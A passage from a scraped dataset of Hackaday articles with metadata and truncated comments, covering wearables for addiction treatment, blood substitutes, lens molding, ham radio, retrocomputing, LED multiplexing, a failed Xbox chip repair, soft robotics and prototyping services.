They tried a number of classification models such as decision trees, discriminant analysis, logistic regression, and others, but found the most success using support vector machines though they failed to discuss why they thought that was the case. In the end, they found that they could detect stress vs. non-stress with an accuracy of 81.3% and craving vs. no-craving with an accuracy of 82.1%. Not amazing accuracy, but given the dire need for medical advancements for SUD, it’s something to keep an eye on. Interestingly enough, they found that locomotion data alone had an accuracy of approximately 75% when it came to indicating stress and cravings.
Much ado has been made about the
insufficient accuracy of wearable devices
for medical diagnoses, particularly of those that measure activity and heart rate. Maybe their model would perform better, being trained on real-time
measurements of cortisol
, a more accurate physiological measure of stress.
Finally, what really stood out to us about this study was how willing patients were to use a wearable in their treatment strategy. It’s sad that society oftentimes has a very negative perception of SUD patients, leading to fewer treatment options for patients. But hopefully, with technological advancements such as this, we’re one step closer to a more
equitable future of healthcare
. | 14 | 5 | [
{
"comment_id": "6405515",
"author": "Pritchard",
"timestamp": "2021-12-09T16:56:11",
"content": "Can’t wait for these to be mandatory in the workplace.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6405531",
"author": "Frankel",
"timestamp"... | 1,760,372,858.823306 | ||
https://hackaday.com/2021/12/09/the-challenges-of-finding-a-substitute-for-human-blood/ | The Challenges Of Finding A Substitute For Human Blood | Maya Posch | [
"Featured",
"Medical Hacks",
"Original Art",
"Science",
"Slider"
] | [
"blood substitutes",
"blood transfusion",
"Fluosol"
] | Throughout history, the human body has been the subject of endless scrutiny and wonder. Many puzzled over the function of all these organs and fluids found inside. This included the purpose of blood, which saw itself alternately disregarded as being merely for ‘cooling the body’, to being responsible for regulating the body’s humors, leading to the practice of bloodletting and other questionable remedies. As medical science progressed, however, we came to quite a different perspective.
Simply put, our circulatory system and the blood inside it, is what allows us large, multi-celled organisms to exist. It carries oxygen and nutrients to cells, while enabling the removal of waste products as well as an easy path for the cells that make up our immune system. Our blood and the tissues involved with it are crucial to a healthy existence. This is something which becomes painfully clear when we talk about injuries and surgeries that involve severe blood loss.
While the practice of blood transfusions from donated blood has made a tremendous difference here, it’s not always easy to keep every single type of blood stocked, especially not in remote hospitals, in an ambulance, or in the midst of a war zone. Here the use of artificial blood — free from complicated storage requirements and the need to balance blood types — could be revolutionary and save countless lives, including those whose religion forbids the transfusion of human blood.
Although a lot of progress has been made in this field, with a limited number of practical products, it’s nevertheless proving to be a challenge to hit upon a replacement that ticks all of the boxes needed to make it generic and safe.
Not Just Any Fluid
Private Roy W. Humphrey of Toledo, Ohio is being given blood plasma after he was wounded by shrapnel in Sicily on August 9th, 1943. (Source: NARA)
Although there are reports of the Incas practicing blood transfusions between humans as far back as the 16th century, it wasn’t until
William Harvey
(1578 – 1657) described the human circulatory system and the properties of the blood in 17th century that the modern views of this aspect of human physiology began to take shape. This came alongside blood transfusion experiments primarily between animals.
In 1665, physician Richard Lower performed a crude blood transfusion between two dogs, with apparently no ill effect on either animal after said procedure. Around this time blood transfusions from an animal into a human (xenotransfusion) was also attempted, with many of the human subjects not surviving the procedure, presumably due to the body’s rejection of this foreign blood.
Similar issues as with xenotransfusion cropped up with blood transfusions between humans: while sometimes this would work, other times the receiving subject would suffer ill effects and some would die as a result. This led to blood transfusions having a poor reputation in the 19th century. It wasn’t until 1901 when
Karl Landsteiner
discovered the three human blood groups (A, B, O) that an explanation for these results became clear.
When incompatible
blood types
are mixed together, one could observe clearly how the red blood cells would clump together. It was at that point easy to imagine what would happen inside the human body if such a response were to occur during a blood transfusion. This insight led to the first of many revolutions that would make blood transfusions as safe and commonplace as they are today.
Copying from a Master
The obvious complication with trying to replicate the functionality of human blood is that we’re trying to recreate something that has evolved over millions of years, inside a larger system (the body) which relies on its many aspects to function just right. Even if it is not intended to be in the body for longer than needed until natural blood levels have recovered, it cannot be allowed to cause more harm than it prevents.
In humans, blood accounts for ~7% of total body weight. Its density is around 1060 kg/m
3
, which is very close to the 1000 kg/m
3
of water. An adult human has on average about 4.5 L of blood, which consists of ~45% out of red blood cells, ~54.3% plasma, and roughly 0.7% of white blood cells. Generally speaking, each of these form the three main function groups of blood.
Red blood cells contain hemoglobin, which bind oxygen, white blood cells (along with antibodies) form a major part of the immune system, and plasma contains the nutrients, electrolytes and blood-clotting factors that sustain cells and allow for the repair of injuries through
coagulation
. From this we can deduce what is required in a blood substitute: crucially the functionality of red blood cells, along with a carrier fluid akin to plasma (which is ~95% water).
While the latter is relatively straightforward in the form of
crystalloid solutions
(e.g. saline solution), the complexity comes with substituting the functionality of the red blood cells. Here two approaches have seen major research and (limited) use: perfluorocarbon- and hemoglobin-based oxygen carriers (PFBOC and HBOC, respectively).
Binding Oxygen, Loosely
Structure of human hemoglobin. α and β subunits are in red and blue, respectively, and the iron-containing heme groups in green. (Credit: Richard Wheeler)
Where an oxygen carrier with the characteristics of red blood cells become complicated is that these molecules should not just bind to the oxygen, but they should also easily make it available to the body’s tissues. An obvious thought here would be to synthesize hemoglobin and use that directly. The snag is that hemoglobin by itself has a very high oxygen affinity, has a short half-life in the blood, and can damage the kidneys. In a red blood cell (RBC), hemoglobin makes up only 33% of the cell’s mass, with the remaining mass acting to stabilize the hemoglobin.
For this reason an HBOC using plain hemoglobin would be useless, as it would not provide enough oxygen to the tissues. To resolve this, the hemoglobin has to be stabilized in a way that still allows for the binding to oxygen, while not inhibiting the distribution to tissues. A number of companies have undertaken efforts to bring such HBOCs onto the market, with HemAssist (by Baxter Healthcare), Hemolink (Hemosol, Inc.) and Hemopure (Biopure Corp) and others either failing during trials, or shortly after entering commercial sales.
Common issues observed include vasoconstriction, presumably due to the hemoglobin binding to nitric oxide. Most of these HBOCs were targeting use in non-human animals, where increased mortality led to these products not passing medical trials, or being pulled off the market within a few years.
In contrast, there is one FDA-approved PFBOC: Fluosol-DA, with e.g.
Sutherland et al. (1984)
, reporting on its effectiveness with cats, and
Ohyanagi et al. (1984)
on the effectiveness of Fluosol-DA 20% infusion with Jehovah’s Witness patients. As in the latter group’s religion leads them to refuse blood transfusions and similar, this can be
problematic with medical care
.
Even so, the complexity of Fluosol — patients must breathe a pure oxygen atmosphere to ‘load’ the PFBOC molecules with enough oxygen — and its complicated storage (freezing) and handling requirements led to production ceasing in 1994.
Not Bled Out Yet
Despite the many setbacks over the years in getting a solid blood substitute onto the market, the need for such a solution is too immense for research to cease. This leads us to
current developments
, with the US military being one of the interested buyers for these blood substitutes. Not just for oxygen carriers, but also for synthetic platelets (for coagulation) and dried plasma.
The main selling points here are an increased shelf-life, the removal of complicated matching of blood types, reducing the possibility of allergic reactions, and so on. Although we have come a long way from the early days of blood transfusions, we still rely on blood donations, and the system that processes this blood. While it’s a system that saves countless lives each year, it comes with the disadvantages of complex logistics, short shelf-life, and the possibility of contaminated blood.
Synthetic blood has the advantage here that it can be produced in any desired quantity and under strictly controlled conditions. An added advantage of e.g. PFBOCs is that they feature much smaller molecules than RBCs, which allows them to bypass even blockages and constrictions in arteries. This would allow for oxygenation of tissues that’d otherwise end up being oxygen deprived and die, which can prevent necrosis, amputation, and other complications of traumatic injury.
Sci-Fi Until It’s Reality
Although the optimism of the late 20th century about blood substitutes seems to have quieted down after so many setbacks the past decades, there are a lot of things which we have learned about not only what doesn’t work, but also what does. We also gained a lot of important information on aspects of human physiology, which serve to increase our understanding of the cardiovascular system.
A few hundred years ago, people thought that sheep’s blood or even wine or urine would make good substitutes for human blood. Today we understand many of the complexities of blood type determination, can process donated blood to use only the RBCs, plasma or platelets, to treat a number of medical conditions, and so on. With blood substitutes having been reduced to mostly a medical engineering question, chances are that we may see progress here before long. | 19 | 6 | [
{
"comment_id": "6405494",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-09T15:10:37",
"content": "And feeding vampires, don’t forget to build in vampire nutrition. Think of all the countless virgin lives that could be saved by a good artificial vampire smoothie!",
"par... | 1,760,372,858.94191 | ||
https://hackaday.com/2021/12/09/molding-complex-optics-in-a-completely-fluid-system/ | Molding Complex Optics In A Completely Fluid System | Dan Maloney | [
"Misc Hacks"
] | [
"3d printed lenses",
"lenses",
"optics"
] | Traditional lensmaking is a grind — literally. One starts with a piece of glass, rubs it against an abrasive surface to wear away the excess bits, and eventually gets it to just the right shape and size for the job. Whether done by machine or by hand, it’s a time-consuming process, and it sure seems like there’s got to be a better way.
Thanks to [Moran Bercovici] at Technion: Israel Institute of Technology, there is. He leads a team that
uses fluids to create complex optics
quickly and cheaply, and the process looks remarkably simple. It’s something akin to the injection-molded lenses that are common in mass-produced optical equipment, but with a twist — there’s no mold per se. Instead, a UV-curable resin is injected into a 3D printed constraining ring that’s sitting inside a tank of fluid. The resin takes a shape determined by the geometry of the constraining ring and gravitational forces, hydrostatic forces, and surface tension forces acting on the resin. Once the resin archives the right shape, a blast of UV light cures it. Presto, instant lenses!
The interface between the resin and the restraining fluid makes for incredibly smooth lenses; they quote surface roughness in the range of one nanometer. The use of the fluid bed to constrain the lens also means that this method can be scaled up to lenses 200-mm in diameter or more.
The paper
is not entirely clear on what fluids are being used, but when we pinged our friend [Zachary Tong] about this, he said he’s heard that the resin is an optical-grade UV adhesive, while the restraining fluid is a mix of glycerol and water.
We’re keen to see [Zach] give this a try — after all,
he did something similar lately
, albeit on a much smaller scale. | 25 | 10 | [
{
"comment_id": "6405450",
"author": "Harvie.CZ",
"timestamp": "2021-12-09T12:43:49",
"content": "Two months later: Ben Krasnow of Applied Science mixes some epoxy in his garage and creates raspberry pi camera which outperforms James Webb telescope.",
"parent_id": null,
"depth": 1,
"repl... | 1,760,372,858.879904 | ||
https://hackaday.com/2021/12/09/ham-radio-ssb-transceiver-fits-in-pocket/ | Ham Radio SSB Transceiver Fits In Pocket | Al Williams | [
"Radio Hacks",
"Reviews"
] | [
"ham radio",
"QRP",
"sdr",
"software-defined radio"
] | Talking about this Chinese ham radio transceiver requires a veritable flurry of acronyms: HF, SSB, QRP, and SDR to start with. [Paul] does
a nice job of unboxing the rig and checking it out
. The radio is a clone of a German project and provides a low-power radio with a rechargeable battery. You can see his video about the gear below.
SSB is an odd choice for low power operation, although we wonder if you couldn’t feed digital data in using a mode like PSK31 that has good performance at low power. There are several variations of the radio available and they cost generally less than $200 — sometimes quite a bit less.
There isn’t much on the front of the radio. There are a few buttons, a rotary encoder, and an LCD along with a speaker and microphone built-in. There are ports for power to run the radio if you want to not use the battery and a separate port for battery charging. There are also ports for a key, external microphone and speakers, and audio connections that look like they’d work for digital modes. According to commenters, the radio doesn’t have an internal charging circuit, so you have to be careful what you plug into the charging port.
Looking inside, the radio looks surprisingly well made. Towards the end of the video, you can see the radio make some contacts, too. Looks like fun. This is a bit pricey for [Dan Maloney’s] $50 Ham series, but not by much. You might
borrow an antenna idea
from him, at least. If you prefer something more analog,
grab seven transistors and build this SSB transceiver
. | 32 | 14 | [
{
"comment_id": "6405417",
"author": "tyjuty",
"timestamp": "2021-12-09T09:22:58",
"content": "nice, but i need digital too.TNC2 or(and) usb for linux raspbery pi zero etc.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6405439",
"author": "VuctorKil... | 1,760,372,859.008714 | ||
https://hackaday.com/2021/12/08/mac-tip-diagnoses-your-old-zip-and-jaz-drives/ | MAC TIP Diagnoses Your Old Zip And Jaz Drives | Lewin Day | [
"Retrocomputing"
] | [
"diagnostic",
"jaz",
"mac",
"zip"
] | Trouble In Paradise (TIP) was a popular Windows-only tool for troubleshooting Iomega Jaz and Zip drives way back when. The drives have fallen out of favor with PC, but the drives are still highly prized amongst classic Mac collectors, who use the SCSI versions as boot disks for the vintage machines. Thus, [Marcio Luis Teixeira] set about
porting the TIP tool to the platform.
Macintosh utilities used to have so much personality about them.
It all came about because running the original TIP recovery tool became difficult in the modern era. One must dig up a old Windows 98 machine and SCSI adapters in order to use it with Macintosh-compatible Zip or Jaz drives. This inspired [Marcio] to reach out to the developer, [Steve Gibson], who provided the original x86 assembly code for the tool.
[Marcio] then ported this line-by-line into C and compiled it with a retro Macintosh compiler to get TIP up and running on the classic Mac platform. Now, it’s possible to check and test Zip and Jaz drives and media on your old Mac without having to mess around with a vintage Windows machine.
It took plenty of effort, and the generous donation of code from [Steve Gibson], and all involved should be applauded for their work. It’s not every day we see such an impressive port, but they come along
every now and then.
Meanwhile, if you’ve been tinkering on your own projects with Iomega’s classic removable storage,
don’t hesitate to let us know!
Video after the break. | 25 | 10 | [
{
"comment_id": "6405388",
"author": "Look Out Above",
"timestamp": "2021-12-09T06:23:01",
"content": "Amazing work!Once your drive or cartridge is diagnosed, how can you fix it?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6405497",
"author": "Pet... | 1,760,372,859.068781 | ||
https://hackaday.com/2021/12/08/almost-modern-teletype-is-silent/ | Almost-Modern TeleType Is Silent | Al Williams | [
"Retrocomputing"
] | [
"teletype",
"terminal",
"ti silent"
] | If you’ve ever used a real TeleType machine or seen a movie with a newsroom, you know that one TeleType makes a lot of noise and several make even more.[CuriousMarc] acquired the silent replacement, a real wonder of its day, the
TI Silent 703
. The $2,600 machine was portable if you think hauling a 25-pound suitcase around is portable. In 1971, it was definitely a step up.
The machine used a thermal printer, could have a built-in acoustic coupler for talking over the phone. You could also get a dual tape drive that acted like a mostly silent paper tape reader and punch.
Of course, thermal printers require thermal paper, which has its own issues. [Marc] doesn’t just turn the machine on, but connects it through an RS232 analyzer and scope to get it working as a real I/O device. He also tears into it, something you probably couldn’t do back in the day since you probably leased them rather than pay the total price which is almost $18,000 today.
There was surprisingly little inside and, of course, compared to a real TeleType, very few mechanical parts. If you remove the printer and power supply, there’s a simple CPU board and a modem board, none of which look terribly sophisticated. The highlight, though, is watching it trade traffic with an ASR33.
If you really want to get into TeleTypes, you can
use one as a Linux console
if you have a Baudot to ASCII decoder ring. Or use one to
send text messages
. | 25 | 13 | [
{
"comment_id": "6405360",
"author": "Ken",
"timestamp": "2021-12-09T03:11:15",
"content": "“If you really want to get into TeleTypes, you can use one as a Linux console if you have a Baudot to ASCII decoder ring.”ASCII TeleTypes we’re very, very common in the timesharing world, and found a new home... | 1,760,372,859.197877 | ||
https://hackaday.com/2021/12/08/getting-rid-of-the-ghost-in-the-led/ | (Getting Rid Of) The Ghost In The LED | Ryan Flowers | [
"LED Hacks"
] | [
"diode capacitance",
"diode hacks",
"high efficiency",
"led",
"multiplex",
"multiplexing"
] | Multiplexing is a very old technology in which control signals are intermixed for the sake of being able to control more devices than there are control signals. For [mihai.cuciuc],
the problems started when he multiplexed some very efficient LEDs
.
The problem? In two banks of six LEDs each,
both
LEDs connected to a single Arduino pin would light, even when only one bank was turned on at the ground side. The LED In the bank that was switched on lit brightly, and its corresponding LED in the bank that was
off
would also be very dimly lit. [mihai] was able to determine that the problem was not due to a leaky transistor, but rather due to a quality of the LEDs themselves.
What is an LED but a diode, and it’s well known that diodes also have capacitance. In fact, this quality is exploited in varactor diodes, a specialty diode whose capacitance can be changed by varying the voltage on the cathode. [mihai] deduced that this capacitance was causing current to flow in the bank that was off. Where was the current going? From the Arduino pin that was on, through its attached LED, and then into
the rest of the bank of LEDs
, charging them like capacitors. [mihai] hasn’t seen this before, but theorizes that for the latest batch of high efficiency LEDs, this minute current is enough to light the LED through which the current is flowing.
[mihai]’s solution is an elegant hack which he’s
made available for your perusal
. You might also enjoy this
introduction to diode basics by W2AEW
. If you have any great diode or LED hacks of your own, be sure to
drop us a line
! | 38 | 16 | [
{
"comment_id": "6405346",
"author": "Steve L",
"timestamp": "2021-12-09T01:01:44",
"content": "On this subject, LED’s these days are available in only three levels of brightness; blinding, eyeball-melting, or “starting the back of your head on fire” brightness. I believe that Oscar Vermeulen had a ... | 1,760,372,859.139862 | ||
https://hackaday.com/2021/12/08/an-easy-music-visualizer-with-the-arduino-nano/ | An Easy Music Visualizer With The Arduino Nano | Lewin Day | [
"Misc Hacks"
] | [
"audio visualizer",
"led",
"music visualization"
] | Flashing LEDs are all well and good, but they’re even better if they can sync up with ambient sounds or music. [mircemk] has built the LUMAZOID visualizer to do just that,
relying on some staple maker components to do so.
The build is open-source, and designed to work with strings of 60, 120, or 180 WS2812B LEDs. An Arduino Nano is charged with running the show, capturing audio via its analog-to-digital converter. A sensitivity pot enables the input level to be set appropriately.
From there, a Fast Fourier Transform is taken, providing data on the intensity of the audio in various frequency bins. The LUMAZOID can be set up to respond to just bass or to all frequencies as a whole. This data is then used to pulse the LEDs in time with the beat.
It’s a fun project that demonstrates the basic techniques required to build an audio-reactive visualizer. We’ve seen
some other great builds
in this space before, too. Video after the break. | 3 | 2 | [
{
"comment_id": "6405305",
"author": "Juris+\"ThunderOwl\"+Perkons",
"timestamp": "2021-12-08T21:12:38",
"content": "Nice! I was very much in to music-to-lights couple of years ago. This is also interesting. Thank You for sharing!",
"parent_id": null,
"depth": 1,
"replies": [
{
... | 1,760,372,859.235518 | ||
https://hackaday.com/2021/12/08/3d-printed-lithographic-moon-lamp/ | 3D Printed Lithographic Moon Lamp | Orlando Hoilett | [
"LED Hacks",
"Space"
] | [
"ESP32",
"lithographic",
"moon",
"rgb",
"RGB LED",
"thingiverse"
] | After years of being a software developer, [Chris] was excited to get back into embedded development and we’re glad he did. His
3D printed lithographic moon lamp
combines a number of hacker and maker skills, and is sure to impress.
3D-printed lithographic moons
have gotten pretty popular these days, so he was able to
find a suitable model on Thingiverse
to start with. Gotta love open-source. Of course, he needed to make a few modifications to fit his end design. Namely, he put a hole at the bottom of the moon, so he could slide the LED and heatsink inside. The 3 watt LED is pretty beefy, so he definitely needed a heat sink to make sure everything stayed cool.
Otherwise, the circuit itself is pretty straightforward. He has an ESP32 to drive the RGB LED through a transistor, and fitted the components onto a custom-designed circuit board to ensure everything stayed neat and organized. You don’t want a ton of loose wires and breadboards cluttering this build. Since he used an ESP32, he was able to create a simple web interface to control the color of the LEDs.
Gotta make it connected somehow, right
?
What’s great is in addition to the project write-up, [Chris] includes video tutorials, walking the readers through each individual step of the build. By doing so he really makes it easy for readers to follow along and reuse his work. If you’re still looking for ideas, one of these could make a
really good Christmas present
. | 16 | 6 | [
{
"comment_id": "6405271",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-08T19:32:22",
"content": "3 Watt LED? I’m thinking not a good project for PLA right?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6405311",
"author": ... | 1,760,372,859.326844 | ||
https://hackaday.com/2021/12/08/fail-of-the-week-hackaday-writer-attempts-xbox-repair/ | Fail Of The Week: Hackaday Writer Attempts XBox Repair | Dan Maloney | [
"Fail of the Week",
"Hackaday Columns",
"Slider"
] | [
"hot air station",
"repair",
"rework",
"smd",
"smt",
"xbox"
] | Like a lot of Hackaday readers, I pride myself on being “the fix-it guy” in my family. When something breaks, I get excited, because it’s a chance to show off my skills. It’s especially fun when something major breaks, like the fridge or the washing machine — repairs like that are a race against time, since I’ve got to get it fixed faster than it would take to hire someone to do it. I usually win the race; I can’t remember the last time I paid someone to work on something. Like I said, it’s a point of pride.
And so when my son came home on Thanksgiving break from his first semester away at college, eager to fire up his Xbox for some mindless relaxation from his biochemistry studies, only to be greeted with a black screen and no boot-up, it was go-time for me. I was confident that I’d be able to revive the dead box in time for him to have some fun. The fact that he’s back at school and the machine is still torn apart on my bench testifies to my hubris, but to be fair, I did get close to a fix, and may still yet get it done. But either way, the lessons I’ve learned along the way have been really valuable and worth sharing.
Diagnosis
Right off the bat, this looked like a power problem — plug it in, press the button, no LED, no beep, no fan. We checked the basics, like making sure there was line voltage at the end of the power cord and wiggling things around to find loose connections. With those eliminated, I decided that it might be a bad power supply, which on the Xbox One X is an internal module. With
teardown instructions
at hand, we pulled the power brick out of the case and tested it — 12 V, just like the label says. Too bad — that would have been a simple fix.
A little bit of Googling led me to a series of repair videos that seemed to match the symptoms.
One in particular
caught my eye; it suggested that a bad HDMI retimer chip could be the culprit. Exactly how this chip would have gone bad was a mystery — the console was largely unused for months — as was how a bad HDMI chip could disable a whole machine. But it was a lead.
Unfortunately, the fix for this problem was far outside my wheelhouse. I’m skilled with a soldering iron, but only in the macroscopic world. Yes, I’ve tried surface-mount device soldering before, going so far as to enter
the SMD Challenge at the 2019 Superconference
. I didn’t exactly cover myself in glory, but I did well enough with the suboptimal tools on hand at the Supercon that I thought I could probably do a decent job. But first, I’d need to go shopping.
The original TDP158 HDMI retimer chip in its QFN-40 package, after desoldering. That center thermal pad really stuck it down good.
The chip I needed to replace was
a TDP158
, which comes in a 40-pin quad-flat no-leads (QFN) package. I don’t know much about SMD, but this is clearly a package that can’t be tackled with just a soldering iron. The lands on the underside of the case have a 0.4 mm pitch, and there’s a relatively huge thermal transfer pad that gets soldered to the board. I would need some tools to make the repair possible.
While I was willing to plunk down $55 for
a cheap hot-air station on Amazon
, I wasn’t ready to shell out for the other tool I’d obviously need: a microscope. I figured — unwisely, as it turns out — that I’d be able to muddle through the repair with the simple head-mounted magnifiers Bil Herd suggested to me back when I explored
the issues of getting old as a hacker
. The other thing I’d need was a replacement TDP158, which is carried by both Mouser and Digi-Key. Unfortunately, they were both out of stock, with estimated delivery in March —
of 2023!
Luckily, resellers on Amazon had them in stock, so I added one to my order and completed the teardown while waiting for delivery.
First Repair Attempt
Getting the putatively defective chip off the board was actually easier than I thought it would be. The videos I had watched all had their hot-air stations cranked up to 480°C — that big thermal pad on the back on the QFN really sinks the heat well. It also helps when the chip is being replaced, and you don’t really care how much heat you’re blasting into it. That would come to haunt me later, but for my first go, all I was concerned with was not melting off any nearby caps and resistors, for which I had no spares.
Where I started running into trouble was once the chip was popped free. There’s a big pad underneath which is obviously connected to a lot of copper, because trying to tin it was a nightmare. Just rubbing it with the tip of my Hakko iron wasn’t enough, even with the heat cranked up to the max — the solder would instantly harden and form bumps that would keep the chip well above the surface of the board. And when I used desoldering braid to try to suck away the excess, the braid would just end up soldered to the pad. It took a combination of hot air and soldering iron to get the pads in shape and ready for the new chip.
Everything I had seen on reflow work led me to believe the hard part was behind me; at this point, flux, the solder resist on the board, and the miracle of surface tension would just magically float the chip into the right position with the application of a little heat. And it sort of did, but even through my janky magnifiers, I could see there were problems. The pads along one edge of the chip clearly didn’t have much solder on them, and there were a few obvious solder bridges.
How not to SMD. This was my very suboptimal repair setup, although the Harbor Freight work light is highly recommended for car repairs. The stand microscope over the TDP158 chip at lower right was invaluable, but still very awkward to use.
What ensued was literally hours of chasing solder around the board with hot air, my soldering iron with just about every tip I could find to try, several milliliters of flux, and a hell of a lot of swearing. Also a lot of tool changes, especially in the optics department. The head-mounted peepers weren’t enough, so I found a little stand microscope that I could sort of balance above the chip to get a look at the joints. My lighting was also atrocious — I had enlisted my handy
Harbor Freight rechargeable work light
, which really helped, but it still cast awkward shadows and was in the way of my tools most of the time.
Some Success
I eventually got sick of chasing solder around, and when I was convinced that I had at least taken care of the solder bridges, I plugged enough stuff back together to give the console a test. To my complete astonishment — especially since my son was now watching the proceedings — it booted right up! But alas, when buttoned up and tested on the TV, there was no HDMI output — those solder-starved joints, no doubt. On to round two.
It works! Well, not really — it boots, but still doesn’t have any video output.
The second time went a little easier thanks to the experience of round one. I popped the chip off, cleaned up both it and the pads, and floated the chip back into position. This time there were no bridges, and all the joints looked bright and shiny — could it be? Did I finally fix it?
Of course not — it wouldn’t even boot this time. I suspect I just plain cooked the chip — between all the solder chasing of the first attempt, and the resoldering of the second try, I dumped a ton of heat into the poor thing and just did it in.
Third Time’s a Charm?
That’s where things stand now, and while I wait for another chip so I can give it a third try, all I can do is look at the lessons I’ve learned. While it’s a poor craftsman who blames his tools, there’s still something to be said for a proper setup. I really need a microscope if I’m going to get serious about this. [Scotty Allen] of [Strange Parts]
sings the praises in this video
about
his microscope
, so I might pick up something along those lines. Then again, there are some microsoldering pros who swear by
the video-only approach
. (Video, naturally.) I think a stereo microscope seems more like my speed, though.
Lighting is another big concern. The scope I’m looking at has a coaxial ring light for shadow-free illumination, but the room lighting in my shop needs an overhaul. Granted, it was built with writing in mind and has mostly task lighting, but being able to dump a lot of light when I need it would be a good idea.
Finally, what I need most is practice. I’ll probably pick up some SMD practice kits, and perhaps some old e-waste to practice desoldering on.
Did I miss anything? Tell us about it in the comments. I’m especially keen to hear about everyone’s experiences climbing the learning curve, especially from old-timers. | 55 | 37 | [
{
"comment_id": "6405232",
"author": "Joe",
"timestamp": "2021-12-08T18:14:19",
"content": "Nice article. Repair skills regarding newer chip tech is very important to our community. Like many others I do not like to point out my fails. However learning from ones or others mistakes or misfortunes may... | 1,760,372,859.689253 | ||
https://hackaday.com/2021/12/08/squishy-robot-hardware-does-well-under-pressure/ | Squishy Robot Hardware Does Well Under Pressure | Sonya Vasquez | [
"how-to",
"Robots Hacks"
] | [
"3d printing pneumatic muscles",
"pneumatic muscles",
"soft robotics"
] | If your jealousy for Festo robots is festering, fret not! [mikey77] has shown us that, even without giant piggy banks, we can still construct some fantastic soft robotics projects with a 3D printer and a visit to the hardware store. To get started, simply step through the process with this
3D Printed Artificial Muscles: Erector Set
project on Instructables.
In a nutshell, [mikey77] generously offers us a system for designing soft robots built around a base joint mechanism: the Omega Muscle. Fashioned after its namesake, this base unit contains an inflatable membrane that expands with pressure and works in tandem with another Omega Muscle to produce upward and downward angular movement. Each muscle also contains two endpoints to connect to a base, a gripper, or more Omega Muscles. Simply scale them as needed and stack them to produce a custom soft robot limb, or use the existing STLs to make an articulated soft gripper.
This project actually comes in two parts for robot brawns and brains. Not only does [mikey77] take us through the process for making Omega muscles, we also get a
guide for building the pressure system
designed to control them. Taken together, it’s a feature-complete setup for exploring your own soft robotics projects with a great starting project. Stay tuned after the break for a demo video in action. There’s no audio, but we’re sure you’ll be letting off an audible
pssssh
in satisfaction to follow along.
It’s not every day that we see FFF-based 3D printers making parts that need to be airtight. And [mikey77’s] success has us optimistic for seeing more air muscles in future projects down the road. In the meantime, have a look at the silicone-silicon half-breeds that we’ve previously
caught pumping iron
.
And thanks to [Mr. Hobbit] for the tip. | 4 | 1 | [
{
"comment_id": "6405254",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-08T19:08:36",
"content": "Great job! I always find it hard to get a good vacuum seal when I attempt such projects.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id":... | 1,760,372,859.437142 | ||
https://hackaday.com/2021/12/08/made-to-spec-the-coming-age-of-prototyping-as-a-service/ | Made To Spec: The Coming Age Of Prototyping As A Service | Sonya Vasquez | [
"Engineering",
"Featured",
"hardware",
"Slider"
] | [
"cncmadness",
"prototyping",
"prototyping service",
"rapid prototyping laser",
"sendcutsend"
] | In the last decade, the price for making a single PCB plummeted. And we’ve featured tons of hacks with boards hailing from places like OSH Park or Seeed Studio. But this phenomenon isn’t isolated, and all sorts of one-off prototyping services are becoming cheaper and looking to satiate both hobbyist and engineer alike.
Today, I want to blow the lid off a few places offering one-off mechanical prototyping services. I’ll take us through some history of how we got here, introduce a few new players, and finally highlight some important tradeoffs before you start ordering bespoke aluminum parts straight to your doorstep.
Now go get your ANSI Z87+ safety glasses, and let’s get started.
Our PCB Origins
Just over a decade ago, ordering Printed Circuit Boards (PCBs) was an expensive (nay, too expensive) ordeal for the hobbyist. Getting a single board made would cost you several hundred US dollars at the PCB fab house. The issue wasn’t the price per board. It was the up-front manufacturing cost to push the board through the factory. Sadly, PCBs just aren’t made one-at-a-time. They’re consolidated with other copies of the same PCB onto a larger panel to simplify the fixturing process when moving the design from machine to machine in manufacturing.
But soon after, a small company called
OSH Park
did something wildly different. Acting as middle-agent, they consolidated different PCBs from various designers onto a shared panel and sent that panel design out for manufacturing instead. The result was that hobbyists could order a single PCB through OSH Park for a fraction of the cost of needing to place a batch order directly. And what was once a professional process became available to the after-hours engineer for a few dollars and a few weeks lead time.
Of course, this process didn’t come with all the perks of ordering direct. The sacrifice was that PCB designers needed to agree on some manufacturing settings that would be common to the panel, like layer count, minimum hole size, pcb surface finish, and color, which is how we got OSH Park’s unmistakable purple soldermask. Finally, since OSH Park needed to aggregate enough orders to send out a panel, orders would take about two to three weeks to return back to customer. But, despite the constraints, the design space of what’s possible is tremendous, and the low price made the extra wait time worth it for hobbyist projects.
In the years that followed, other manufacturers caught on, especially in China. And it seemed like a race-to-the-bottom to offer the cheapest single-quantity circuit board. For the first time, electronics hobbyists on a budget were able to use the same manufacturing processes as the professionals. Now, names like JLCPCB, Dirty PCBs, Seeed Studio, and PCBWay are pretty common among this community of hackers.
Prototyping as a Service
Many of us know the story above. Heck; we lived through it! But it doesn’t stop there. In fact, something similar is happening in other domains. Other manufacturing services are opening their doors to one-off prototypes that used to require higher minimum orders, and the result is that your nearest hackerspace could be entirely virtual where parts get ordered and delivered to your doorstep.
It’s worth asking: where is this happening? Right now, we’re seeing these options emerge from 2D computer-controlled manufacturing processes like laser cutting, water jetting, and 2D CNC routing. The common theme? Each of these processes uses tools that operate on big sheets of stock material. The upshot is that, with some upstream pre-processing, batches of orders can be consolidated onto the same sheet — just like OSH Park did. In theory, this trick could extend to any manufacturing process where software can glue together aggregate orders into a batch process.
Right now, batching orders onto sheets of shared stock material makes a lot of sense. But, with some work, it’s possible to extend this concept to other processes. In the meantime, it’s time to take advantage of the added process capabilities that can be delivered to our doorstep for a fraction of their original price.
The Players
Let’s take a quick tour of who’s delivering manufactured singles straight to your doorstep. I imagine that our readers will be familiar with
Shapeways
for SLS 3D printing and
Ponoko
for laser cutting, so I’ll sidestep them to highlight some other up-and-coming offerings.
Laser-Cutting: SendCutSend
Laser Cutters for cutting metals are awesome tools, but the tools themselves can take up a significant footprint in a home garage–not to mention making a huge dent in our salary! Instead of installing a metal laser cutter and learning how to use it myself, I’ve started opting for options in
SendCutSend
‘s catalog.
